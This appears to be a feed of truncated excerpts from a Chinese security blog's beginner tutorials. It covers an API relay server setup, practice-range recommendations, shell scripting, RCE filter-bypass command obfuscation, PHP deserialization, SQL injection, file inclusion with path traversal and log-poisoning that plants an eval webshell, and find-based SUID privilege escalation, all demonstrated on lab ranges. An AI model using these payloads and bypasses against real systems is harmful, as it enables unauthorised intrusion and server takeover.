泷羽Sec-分享网络安全 | 安全产品测评 | 网站建设 - 新手入门
type: channel
link: https://longyusec.com/tag/%E6%96%B0%E6%89%8B%E5%85%A5%E9%97%A8/
items: 从零开始搭建自己的中转站
items: 2025最新渗透测试靶场推荐，新手必练的靶场推荐
items: kali Linux Shell编程：基础到进阶
items: 从0-1讲解RCE漏洞绕过，Windows与LinuxRCE漏洞绕过实战解析
items: PHP反序列化漏洞从入门到深入8k图文介绍，以及phar伪协议的利用
items: 从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练
items: 从零开始学习文件包含
items: find基础命令与提权教程

从零开始搭建自己的中转站
type: item
date: 2026-07-06T14:19:35+08:00
description: 服务器选购，这种中转站建议用海外的，就不推荐阿里云/腾讯了，贵，还容易被封https://www.boheidc.cn/aff/QOWYLYCV选择香港大带宽的推荐选择这款4c4g的大带宽，搭中转站的同时，也可以用来日常使用，比如搭一些开源项目，用来测试，如果选2c2g的话容易卡如果想要不限流量，低延迟的话可以选这款，低配一点，选4c2g的也可以新加坡的服务器也可以，最近限时放量出来，估计不久后就没了系统选择建议ubuntu系统购买成功后在控制台的云服务器界面等待开通成功，然后记住你的ip地址使用ssh远程连接工具连接，常见的连接工具有xshell，tabby，powershell等等，这里我们使用windows系统自带的powershell，输入如下命令ssh root@你的ip地址执行命令后，会让你输入密码，这个密码是不会显示的，输入密码后按回车连接成功后升级你的ubuntuapt update -y && apt upgrade -y安装宝塔打开官网注册一个账号，待会要用https://www.bt.cn/u/FIKCU2执行安装命令，中途会让你选择y还是n，是否安装，选择ywget -O install_panel.sh https://download.bt.cn/install/install_panel.sh && sudo bash install_panel.sh ed8484bec在安装完成后，会出现如下内容，记住你的账号密码还有访问地址，这里的访问地址指的是外网ipv4地址使用浏览器访问登录之后还会让你登录一遍，这里的登录的账号就是你在宝塔官网注册的账号，登录一下，后续的ssl证书记录还有其他配置就可以直接读取云端配置，若换了服务器，可以从云端直接迁移安装docker，这里的docker自带源，可以不用配置安装源，一个脚本直接给你安装好安装完成后，搜索new API，点击安装设置域名访问保存后，就可以访问此域名了，根据步骤来按需来到此就安装成功了获取渠道API这里拿deepseek官方来举例，去deepseek官网配置一个官方的api把api和apikey填入下面并提交在令牌管理界面中创建令牌添加成功后如何调用？配置参考http://api.longyusec.com/v1/chat/completionspython代码参考import requests import urllib3 urllib3.disable_warnings() url = "http://api.longyusec.com/v1/chat/completions" headers = { "Authorization": "Bearer sk-xxxxxxxxxxxx", "Content-Type": "application/json" } data = { "model": "deepseek-v4-pro", "messages": [ {"role": "user", "content": "你好，介绍一下你自己"} ], "stream": False } response = requests.post(url, headers=headers, json=data) print("状态码:", response.status_code) print("回复:", response.json()["choices"][0]["message"]["content"])关于客户端的支付可以配置易支付，对接支付宝和微信，这里就不教了教程中用到的海外服务器，薄荷云https://www.boheidc.cn/aff/QOWYLYCV常见问题nginx配置错误，默认的nginx配置是通过域名无法调用的，上面忘记讲了，补充一下，下面是我nginx配置参考server { listen 80; listen [::]:80; server_name api.longyusec.com; # 所有请求转发到 3000 端口 location / { proxy_pass http://127.0.0.1:3000; proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Forwarded-Proto $scheme; # 支持流式响应 proxy_buffering off; proxy_cache off; proxy_read_timeout 300s; # 支持 WebSocke…

2025最新渗透测试靶场推荐，新手必练的靶场推荐
type: item
date: 2025-06-22T14:22:00+08:00
description: 继上一篇渗透测试中新手必练的15个靶场，这次又新增了十个常用的靶场平台，帮助师傅们在学习渗透测试的路上不迷路，在开始之前呢推荐一个永久的渗透测试知识库，点击下方链接领取领取地址1、cyberstrikelab网址：https://www.cyberstrikelab.com/CyberStrikeLab 是一个专注于网络安全的在线仿真实战平台，由经验丰富的红队人员打造，以实战、系统、便利为特色，其靶机根据多年实战案例搭建，能帮助学习者提升网络安全实战技能。2、hackthebox网址：https://app.hackthebox.com/Hack The Box 是一个国际知名的网络安全渗透测试实战靶场平台，提供在线的渗透测试环境与挑战，帮助网络安全学习者与从业者提升实战技能。3、hackmyvm网址：https://hackmyvm.eu/hackmyvm 是一个国际性的网络安全靶场平台，提供多种虚拟机镜像靶机，用户可使用 VMware 或 VirtualBox 运行，挑战目标是获取操作系统的 root 权限和查看 flag。其靶机涵盖从入门到高阶的难度，适合不同水平的渗透测试爱好者学习与练习。4、Root Me网址：https://www.root-me.org/Root Me 是一个国际知名且免费的在线网络安全学习平台，提供CTF风格的网络安全挑战，涵盖密码学、WEB、脚本、网络、编程等内容的靶场，适合中高级学习者。5、Try Hack Me网址：https://tryhackme.com/Try Hack Me 是一个适合初学者的在线网络安全学习平台，提供结构化的课程、实战靶场和 CTF 挑战，帮助用户提升从基础到高级的网络安全技能。包括windows和Linux的靶场渗透。6、vulfocus网址：https://vulfocus.cn/Vulfocus 是一个漏洞集成平台，将漏洞环境 Docker 镜像放入即可使用，开箱即用，可用于漏洞复现、POC 验证、EXP 验证等，它由白帽汇推出，本质上是一个漏洞靶场。7、vulhub网址：https://github.com/vulhub/vulhubVulhub 是一个开源的漏洞靶场项目，基于 Docker 和 Docker-Compose 技术，提供一系列预构建的漏洞环境，用户可以快速搭建和测试各种漏洞场景，适合中高级学习者进行漏洞复现和研究8、vulnhub网址：https://www.vulnhub.com/和hackmyvm类似，是一个开源漏洞靶场项目，基于 Docker 和 Docker-compose 技术，提供一系列预构建的漏洞环境，用户可快速搭建和测试各种漏洞场景，适合中高级学习者进行漏洞复现和研究。9、XCTF攻防世界网址：https://adworld.xctf.org.cn/XCTF 攻防世界是一个专注于网络安全的在线平台，提供大量高质量的 CTF 题目和实训环境，适合不同水平的学习者提升实战技能。10、XSS小游戏网址：https://xss.haozi.me/#/XSS学习必备的小游戏11、墨者学院网址：https://www.mozhe.cn/墨者学院是一个专业的网络安全在线靶场平台，专注于实战技能培养，适合网络安全学习者提升攻防能力。12、封神台网址：https://hack.zkaq.cn/封神台是掌控安全推出的一个在线攻防演练靶场，专注于网络安全渗透测试演练，适合网络安全学习者和从业者进行实战技能提升13、春秋云镜https://yunjing.ichunqiu.com/春秋云镜是一个专注于实战化的网络安全攻防演练靶场平台，提供了多样化的漏洞环境和场景，以帮助用户提升网络安全技能和攻防实战能力。14、玄机靶场https://xj.edisec.net/玄机靶场是一个专业的网络安全实验平台，提供多样化的攻击场景库和丰富的题库，涵盖渗透测试、应急响应、CTF竞赛等领域，适合不同层次的学习者进行实战训练，提升网络安全技能。15、红日靶场http://vulnstack.qiyuanxuetang.net/vuln/红日靶场是一个由红日安全团队打造的网络安全靶场平台，其特点是提供模拟真实企业内网的环境，涵盖域控、黄金票据等高级内网渗透场景，适合具备一定基础的学习者进行实战训练。靶场通过虚拟机镜像形式提供，需本地部署使用16、CTFhubhttps://www.ctfhub.com/CTFHub 是一个专注于信息安全竞赛的在线学习平台，提供题目练习、赛事跟踪等服务，适合 CTF 爱好者学习和提升技能。17、CTFshowhttps://ctf.show/CTFShow 是一个在线的网络安全学习平台，提供丰富的 CTF 题目和解题思路，适合 CTF …

kali Linux Shell编程：基础到进阶
type: item
date: 2025-05-18T18:34:36+08:00
description: kali Linux Shell编程：基础到进阶在Linux系统中，shell编程是一项基本技能，它不仅能够提高系统操作效率，还能让你更好地理解和掌控Linux。本文将带领你从shell编程的基础入门，逐步进阶到复杂应用，通过改写和扩展原有内容，使内容更加丰富且保持低重复率。一、Shell编程基础1. Shell简介Shell是一种命令行界面，用于用户与操作系统进行交互。它也是一种脚本语言，允许用户编写程序自动执行一系列命令。Linux系统中常见的Shell类型包括bash、zsh、csh等，其中bash是最常用的Shell之一。代码示例：#!/bin/bash echo "Hello, Shell World!"以上脚本使用bash Shell，打印“Hello, Shell World!”。2. 创建和执行Shell脚本创建Shell脚本的第一步是创建一个文本文件，并写入Shell命令。然后，你需要给这个文件添加执行权限，最后通过终端执行它。示例步骤：使用文本编辑器（如vim或nano）创建脚本文件，例如hello.sh。在文件中写入以下内容：#!/bin/bash # A simple hello world script echo "Hello, World from a Shell Script!"保存并退出编辑器。给脚本文件添加执行权限：chmod +x hello.sh。执行脚本：./hello.sh。3. Shell脚本的基本语法Shell脚本的基本语法包括变量定义、条件语句、循环语句等。变量定义与使用：#!/bin/bash # Define a variable name="John Doe" # Use the variable echo "Hello, $name!"条件语句：Shell脚本中的条件语句主要有if、elif、else。#!/bin/bash # Check the number of arguments if [ $# -eq 0 ]; then echo "No arguments provided." elif [ $# -eq 1 ]; then echo "One argument provided: $1" else echo "Multiple arguments provided." fi4. Shell中的循环Shell支持多种循环，包括for循环和while循环。For循环：#!/bin/bash # Loop through numbers 1 to 5 for i in {1..5}; do echo "Number $i" doneWhile循环：#!/bin/bash counter=1 while [ $counter -le 5 ]; do echo "Number $counter" ((counter++)) done二、Shell编程进阶1. 函数定义与调用在Shell脚本中，函数允许你将代码块封装起来，以便在脚本中重复使用。#!/bin/bash # Define a function greet() { echo "Hello, $1!" } # Call the function greet "Alice" greet "Bob"2. 数组的使用Shell脚本支持一维数组，可以通过索引来访问数组元素。#!/bin/bash # Declare an array fruits=("Apple" "Banana" "Cherry") # Iterate through the array for fruit in "${fruits[@]}"; do echo "$fruit" done3. 正则表达式与文本处理Shell脚本中可以使用正则表达式来匹配文本字符串。grep命令是处理文本和正则表达式的好帮手。#!/bin/bash # Use grep to find lines containing 'error' grep "error" log.txt使用awk和sed工具可以进行更复杂的文本处理。使用awk处理文本：#!/bin/bash # Print the first and third fields of each line in a file awk '{print $1, $3}' file.txt4. 读取用户输入Shell脚本可以读取用户输入，用于交互式操作。#!/bin/bash # Read user input echo "Enter your name: " read name echo "Hello, $name!"5. 文件与目录操作Shell脚本提供了丰富的命令来操作文件和目录，如ls、cp、mv、rm等。列出当前…

从0-1讲解RCE漏洞绕过，Windows与LinuxRCE漏洞绕过实战解析
type: item
date: 2025-05-18T18:32:25+08:00
description: 从0-1讲解RCE漏洞绕过，Windows与Linux/RCE漏洞绕过方式总结----实战解析前言本文讲解了Windows/Linux的常见命令以及命令执行漏洞的绕过方式，靶场环境为CTFhub，分别有命令注入、cat过滤、空格过滤、过滤目录分隔符、运算符过滤，这几种绕过方式Windows我们在Windows命令行中执行命令的时候，是不区分大小写的C:\>WHOAMI yv\administrator 在命令行中可以有无数个"C:\>wh""""oami yv\administrator C:\>wh""""""""""""""""""""""""""""""oami yv\administrator 不能有两个连续的^C:\>whoa^mi yv\administrator C:\>whoam^^i 'whoam^i' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>who^a^m^i yv\administrator 在命令中如果 " 在^之前，此时"的数量必须为偶数C:\>who""a^mi yv\administrator C:\>who"a^mi 'who"a^mi' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 在命令中"在^之后，且带有参数，则”也需要带有偶数C:\>n^et" user 'net" user' 不是内部或外部命令，也不是可运行的程序 或批处理文件。 C:\>n^et"" user \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 也可以使用()对命令进行包裹C:\>(whoami) yv\administrator C:\>(n^et"" user) \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 ()的数量不设上限C:\>(((whoami))) yv\administrator 使用变量简单拼接%%局部分开每个变量C:\>set cmd1=who C:\>set cmd2=am C:\>set cmd3=i C:\>%cmd1%%cmd2%%cmd3% yv\administrator 变量拼接方式二C:\>set cmd1=who C:\>set cmd3=i C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式三C:\>set cmd1=wh"""o C:\>set cmd3=i""" C:\>%cmd1%am%cmd3% yv\administrator 变量拼接方式四 ^C:\>set cmd1=wh""""o # 这里需要偶数，因为在变量拼接结果中有 ^ C:\>set cmd3=i""" # 后面正常多少个 " 都行 C:\>%cmd1%a^m%cmd3% yv\administrator 含有参数的命令，net userC:\>set cmd1=s""er C:\>set cmd2=t u C:\>set cmd3=n^e C:\>%cmd3%%cmd2%%cmd1% \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 一次性执行多条命令C:\>cmd /C "set cmd1=s""ser && set cmd2=t u && set cmd3=n^e && %cmd3%%cmd2%%cmd1%" \\YV 的用户帐户 ------------------------------------------------------------------------------- Administrator DefaultAccount Guest mysql WDAGUtilityAccount www 命令成功完成。 Windows环境变量切分先设置一个变量C:\>set cmd=whoami C:\>%c…

PHP反序列化漏洞从入门到深入8k图文介绍，以及phar伪协议的利用
type: item
date: 2025-05-18T18:32:24+08:00
description: 前言本文内容主要分为三个部分：原理详解、漏洞练习和防御方法。这是一篇针对PHP反序列化入门者的手把手教学文章，特别适合刚接触PHP反序列化的师傅们。本文的特色在于对PHP反序列化原理进行了深入细致的分析，并提供了一系列由简入深的PHP反序列化习题，配以详细的练习和分析讲解。序列化介绍序列化是指将变量转换为一种可保存或传输的字符串形式的过程；而反序列化则是在需要的时候，将这个字符串重新转换回原来的变量形式以供使用。这两个过程相辅相成，为数据的存储和传输提供了极大的便利，同时也使得程序更加易于维护和扩展。例子将一大段对象序列化压缩成字符串.然后根据要求反序列化重新构造对象.(②是序列化的格式,下文详解)class Person { public $name; //public 修饰的这个成员在任何地方都可以使用 private $age; //private 修饰的成员只能被 其所在类 的其他成员访问 protected $sex; //protected 修饰的类成员 所在类的子类以及同一个包内的其他类 访问 function sayName() { echo $this->name; } function sayAge() { echo $this->age; } function saySex() { echo $this->sex; } function __construct($name, $age,$sex) { $this->name = $name; $this->age = $age; $this->sex = $sex;//protected修饰的sex } } $person=new Person('张三',20,'boy'); $person->sayName();//张三 $person->sayAge();//20 $person->saySex();//boy echo ' '; // 序列化：serialize将php的遍历变量（数组、对象等）转化成一个 可以存储或传输的字符串 表示的函数。即---对象压缩成字符串 echo serialize($person);//O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} echo " "; // 因为我们需要使用url进行测试，所以将这个转化后的字符串进行url编码，便于之后进行反序列化测试 echo urlencode(serialize($person));//O%3A6%3A%22Person%22%3A3%3A%7Bs%3A4%3A%22name%22%3Bs%3A6%3A%22%E5%BC%A0%E4%B8%89%22%3Bs%3A11%3A%22%00Person%00age%22%3Bi%3A20%3Bs%3A6%3A%22%00%2A%00sex%22%3Bs%3A3%3A%22boy%22%3B%7D get.php进行反序列化，将上面进行url编码的内容传到这个php，进行反序列化（将字符串还原成对象）<?php $html =unserialize($_GET['html']); echo $html; 在上面的代码中我们可以看到序列化之后的内容为，将其进行分段详细解析O:6:"Person":3:{s:4:"name";s:6:"张三";s:11:"Personage";i:20;s:6:"*sex";s:3:"boy";} O : 自定义对象 object 6 : 类名的长度 :3 : 3个成员属性 s:4 : 你的成员属性名 长度为4 ,并且是一个字符串 string s:3 : 刚刚那个成员属性对应的值 是string类型,并且长度是3位 s:11:"Personage" : 因为该属性是私有属性,所以需要在属性名前加上类名,方便我们进行反序列化的时候的识别. i:20 : 20是age的属性值 , i是代表 integer类型 s:6:"*sex"; sex这个属性是一个受保护的属性,特征就是 * 号 s:3:"boy : 代表 string类型,属性值长度为3位 boy对应是 sex的属性值 private和 protected详解//protected举例 class Animal { protected $name; //构造函数，即当你创建一个新对象时，这个方法会自动被调用，用于被初始化对象。 //构造函数可以接收参数，这些参数可以用来设置对象的初始状态。 public function __construct($name) { $this->name = $name; } protected funct…

从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练
type: item
date: 2025-05-18T18:32:24+08:00
description: 从零开始学SQL注入（sql十大注入类型）：技术解析与实战演练环境工具：burp suite靶场：sqli服务器：centos7数据库：mysql5.7什么是 Sql 注入？SQL 注入是比较常见的网络攻击方式之一，它不是利用操作系统的 BUG 来实现攻击，而是针对程序员编写时的疏忽，通过 SQL 语句，实现无账号登录，甚至篡改数据库。由于以下的环境都是 MySQL 数据库，所以先了解点 MySQL 有关的知识。在 MySQL5.0 之后，MySQL 中默认添加了一个名为 information_schema 的数据库，该数据库中的表都是只读的，不能进行更新、删除和插入等操作，也不能加载触发器，因为它们实际只是一个视图，不是基本表，没有关联的文件。mysql中注释符：# 、/**/ 、 --information_schema 中三个很重要的表： information_schema.schemata:该数据表存储了 mysql 数据库中的所有数据库的库名 information_schema.tables：该数据表存储了 mysql 数据库中的所有数据表的表名 information_schema.columns:该数据表存储了 mysql 数据库中的所有列的列名 Mysql 中常用的函数------------------------------------- version():查询数据库的版本 user():查询数据库的使用者 database():数据库 system_user():系统用户名 session_user():连接数据库的用户名 current_user():当前用户名 load_file():读取本地文件 @@datadir:读取数据库路径 @@basedir:mysql安装路径 @@version_complie_os:查看操作系统 -------------------------------------ascii(str):返回给定字符的ascii值。如果str是空字符串，返回0如果str是NULL，返回NULL。如 ascii("a")=97 length(str) : 返回给定字符串的长度，如 length("string")=6 substr(string,start,length):对于给定字符串string，从start位开始截取，截取length长度 ,如 substr("chinese",3,2)="in" substr()、stbstring()、mid() :三个函数的用法、功能均一致 concat(username)：将查询到的username连在一起，默认用逗号分隔 concat(str1,'*',str2)：将字符串str1和str2的数据查询到一起，中间用*连接 group_concat(username) ：将username所有数据查询在一起，用逗号连接 limit 0,1：查询第1个数 limit 1,1：查询第2个数判断 SQL 注入是否存在 先加单引号'、双引号"、单括号)、双括号))等看看是否报错，如果报错就可能存在 SQL 注入漏洞了。 还有在 URL 后面加 and 1 = 1 、 and 1 = 2看页面是否显示一样，显示不一样的话，肯定存在 SQL 注入漏洞了。 还有就是Timing Attack测试，也就是时间盲注。有时候通过简单的条件语句比如 and 1=2 是无法看出异常的。 在 MySQL 中，有一个Benchmark()函数，它是用于测试性能的。Benchmark(count,expr)，这个函数执行的结果，是将表达式 expr 执行 count 次 。 因此，利用benchmark函数，可以让同一个函数执行若干次，使得结果返回的时间比平时要长，通过时间长短的变化，可以判断注入语句是否执行成功。这是一种边信道攻击，这个技巧在盲注中被称为Timing Attack，也就是时间盲注。易出现 SQL 注入的功能点： 凡是和数据库有交互的地方都容易出现 SQL 注入，SQL 注入经常出现在登陆页面、涉及获取 HTTP 头（user-agent / client-ip 等）的功能点及订单处理等地方。例如登陆页面，除常见的万能密码，post 数据注入外也有可能发生在 HTTP 头中的 client-ip 和 x-forward-for 等字段处。这些字段是用来记录登陆的 ip 的，有可能会被存储进数据库中从而与数据库发生交互导致 sql 注入。Sql 注入的分类 分类依据 类型 获取信息的方式 布尔盲注，时间盲注，报错注入 ，union查询注入，堆叠注入等 提交方式 GET、POST、COOKIE、HTTP 注入等 注入点类型 数字类型的注入、字符串类…

从零开始学习文件包含
type: item
date: 2025-05-18T18:32:24+08:00
description: 从零开始学Web安全，文件包含漏洞详解大家好，我是[小羽]，一个对网络安全充满热情的小白。今天，我将与大家分享我的网络安全中的Web安全学习笔记什么是文件包含漏洞？，这里很详细的介绍了Sql注入的各种类型防御的方法。靶场：dvwa,pikachu服务器：centos7数据库：mysql5.7php：8.0nginx：1.24什么是文件包含漏洞？概述和sql注入等攻击方式一样，文件包含漏洞也是一种注入型漏洞，其本质就是输入一段用户能够控制的脚本或者代码，让服务端执行。包含：把可重复使用的函数写入到单个文件中，在使用该函数时，直接调用此文件，而无需再次编写函数，这一过程叫做包含。有时候由于网站功能需求，会让前端用户选择要包含的文件，而开发人员有没有对要包含的文件进行安全考虑，攻击者就可以通过构造恶意的文件路径参数来执行任意的代码。常见的文件包含漏洞有两种类型： 本地文件包含（Local File Inclusion）：LFI本地文件包含漏洞是指攻击者能够利用应用程序的漏洞，直接访问并执行服务器上的文件。 远程文件包含（Remote File Inclusion）：攻击者能通过将一个远程文件包含到应用程序中来执行任意代码，这种漏洞通常存在在于动态包含外部资源的代码中。 攻击者可以利用文件包含漏洞来执行一系列攻击，比如读取敏感文件、执行恶意代码、获取数据库信息等。以PHP为例，常用的文件包含函数有以下四种 函数 描述 特点 require() 找不到被包含的文件会产生致命错误，并停止脚本运行 在一开始就加载 include() 找不到被包含的文件只会产生警告，脚本继续执行 在用到时加载 include_once() 如果该文件的代码已经被包含，则不会再次包含 与include()类似 require_once() 如果该文件的代码已经被包含，则不会再次包含 require()类似 漏洞利用过程一、本地文件包含漏洞(LFI)php代码示例：<?php $file=$_GET(['filename']); include($file) ?>python代码示例：file=request.GET.get('filename')#django with open(filename,mode='r') as f: print(f.read())我们可以利用文件包含读取到一些其他文件，甚至可以读取一些系统的敏感信息如系统的配置器文件:C:Windowssystem.ini文件（很危险）DVWA首先在我们centos系统中根目录创建一个demo1.txt写入'you are very good hacker!'进入dvwa靶场File Inclusion点击任意文件后，观察到url的变化为文件名称的变化 使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt漏洞利用成功！此时也可直接读取系统配置文件例如hostsPiKaChu选择下拉框任意选项，分析url，找到文件名称如下图 使用../../../../../../../demo1.txt尝试读取刚才创建的文件demo1.txt注意：在文件包含漏洞中通常配合文件上传使用二、远程文件包含漏洞远程文件包含漏洞就是在不同ip/域名之间进行文件包含操作，需要将php.ini中的allow_url_include = On打开，如下图比如这里有一个远程文件：https://xiaoyus.cc/license.txt漏洞利用成功！三、包含Apache/Nginx日志文件有时候网站存在文件包含漏洞，但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。我们通过访问，让访问日志记录我们的phpinfo();代码，可以看出，访问日志已经成功记录了我们的访问历史：注意：需要开启服务器记录日志功能<?php phpinfo();?>日志访问成功但是我们发现了日志使用的是url编码，而不是完整的php代码这里我们就需要使用到抓包工具burp suite进行请求拦截，然后修改参数值为完整的php代码查看日志，日志写入成功接下来利用文件包含漏洞访问日志的文件地址我这里是www/server/nginx/logs/access.log日志文件注入成功！让访问日志文件记录下写入文件脚本代码：<?php $file=fopen('test1.php','w'); fputs($file,'<?php @eval($_POST[666]);?>'); ?>访问内容修改： 可以看见日志文件写入成功 对访问日志进行文件包含，并查看创建的一句话脚本，已经创建成功：查看源文件，也可以看到创建成功 此时就可以使用蚁剑进行连接获取webshell如何避免？一、…

find基础命令与提权教程
type: item
date: 2025-05-18T18:29:02+08:00
description: 前言在信息安全的广阔领域中，系统命令的权限设置至关重要。find命令作为Linux常用的文件查找工具，在日常管理中广泛应用。然而，当find命令被错误地赋予SUID权限时，它可能成为攻击者执行特权操作、实现权限提升的工具。本文深入探讨find命令的常规用法，展示其在特定权限设置下的安全风险，并通过实际案例演示权限提升过程，提供针对性的防御策略。参数介绍find常用参数语法：find 【path...】 【expression】 `path`为查早路径，` . `为当前路径，` / `为根目录，`expression`为参数 参数列表参考： -name：按照文件名查找文件 -perm：按照文件权限来查找文件，4000，2000，1000为分别表示SUID，SGID，SBIT，如777为普通文件的最高权限，7000为特殊文件的最高权限 -user：按照文件属性来查找 -size n：文件大小是n个单位 -type： 1. d：目录 2. f：文件 3. c：字符设备文件（Character Device Files）--字符设备文**件允许用户以字节为单位与其进行交互**，这意味着数据可以按照任意大小和顺序进行读写。常见的字符设备包括键盘、鼠标和串口，比如`/dev/tty` 4. b：块设备文件（Block Device Files）--与字符设备相对，**块设备文件则是以块为单位进行读写的**。一块通常包含多个字节，例如512字节或4096字节等。块设备的读写通常比字符设备要高效，因此大多数**存储设备**（如硬盘和USB驱动器）都被视为块设备，例如，/dev/sda` -atime n： time表示日期，时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录 -amin n： 查找系统最后n分钟内曾被存取过的文件或目录 -ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录 -mtime: 查找系统中最后N分钟内曾被更改过的文件或目录 -mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录 -print： 将匹配的文件输出到标准输出 -exec： find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;，注意{ }和；之间的空格。 该表来自：https://blog.csdn.net/weixin_44912169/article/details/105845909Find实例1、在当前目录下模糊查找.txt 后缀的文件find . -name "*.txt"2、在root目录下查找大于50M小于100M的文件find / -size +50M -size -100M -type f # +-号分别代表大于和小于查找10分钟内读取过的文件find / -amin 10 -type f查找权限为755的文件或目录并排序find -perm -755 -type f |sort查找当前目录下所有.txt文件并把它们拼接起来写入到all.txt中# 1.txt ls whoami h0ck1r丶羽 # 2.txt cat 1,2,3 find / -name '*.txt' person=123 # 3.txt end_file='3.txt' echo 'over!'使用find 将这些文件合并到一个文件中┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} ;> all.txt ┌──(root㉿kali)-[/data/demo] └─# cat all.txt ls whoami h0ck1r丶羽 cat 1,2,3 find / -name '*.txt' person=123 end_file='3.txt' echo 'over!'拆解之后find . : 从当前目录开始找-type f : 只查找文件（不包括目录）-name '*.txt' : 查找文件名以 .txt 文件结尾的文件-exec cat {} ; : 对找到的每个文件执行cat命令，{}是一个占位符，代表find命令找到的每个文件名。;是命令的结束标记。> all.txt : 将cat命令的输出重定向到all.txt文件中。如果all.txt文件已存在，他会被覆盖；如果不存在，会被创建。这样就清楚了：┌──(root㉿kali)-[/data/demo] └─# find . -type f -name '*.txt' -exec cat {} …